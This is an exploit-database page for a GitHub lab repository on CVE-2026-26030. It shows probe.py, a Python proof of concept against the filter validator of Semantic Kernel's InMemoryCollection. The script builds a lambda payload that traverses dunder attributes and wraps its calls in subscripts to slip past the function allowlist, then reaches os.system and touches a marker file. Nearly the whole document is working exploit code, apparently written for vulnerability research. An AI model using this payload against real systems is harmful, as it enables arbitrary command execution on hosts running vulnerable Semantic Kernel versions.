Exploit database

GH-568417e895b2c2b47893c2c32321a505

inertfluid/sk-cve-2026-26030-lab

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-26030

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8
inertfluid/sk-cve-2026-26030-labRevision ad263bc8e86e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

probe.py

Python · 1,649 bytes
"""Probe the real validator with candidate payloads (run in the .venv)."""
import os
from semantic_kernel.connectors.in_memory import InMemoryCollection

# The validator only reads these two ClassVars; stub avoids pydantic __init__.
class Stub:
    allowed_filter_ast_nodes = InMemoryCollection.allowed_filter_ast_nodes
    allowed_filter_functions = InMemoryCollection.allowed_filter_functions
    _parse_and_validate_filter = InMemoryCollection._parse_and_validate_filter

parse = Stub()._parse_and_validate_filter

# Find the index of BuiltinImporter in object.__subclasses__() (plain Python, no limits).
subs = ().__class__.__base__.__subclasses__()
idx = next((i for i, c in enumerate(subs) if c.__name__ == "BuiltinImporter"), None)
print(f"BuiltinImporter index in object.__subclasses__(): {idx}")

MARKER = "/tmp/pwned_by_filter"
if os.path.exists(MARKER):
    os.remove(MARKER)

# Subscript-call bypass: every call's func is a Subscript node, so the
# allowed_filter_functions name-check (which only inspects Name/Attribute func)
# is skipped. Attribute access is entirely unrestricted -> dunder traversal.
payload = (
    "lambda x: "
    f"[[[().__class__.__base__.__subclasses__][0]()[{idx}].load_module][0]('os').system][0]"
    "('touch /tmp/pwned_by_filter')"
)
print(f"\npayload:\n{payload}\n")

try:
    func = parse(payload)        # passes the allowlist validation
    print("validation: PASSED (allowlist did not block it)")
    func({})                     # triggers eval'd code -> os.system
    print(f"execution: marker exists? {os.path.exists(MARKER)}")
except Exception as e:
    print(f"BLOCKED: {type(e).__name__}: {e}")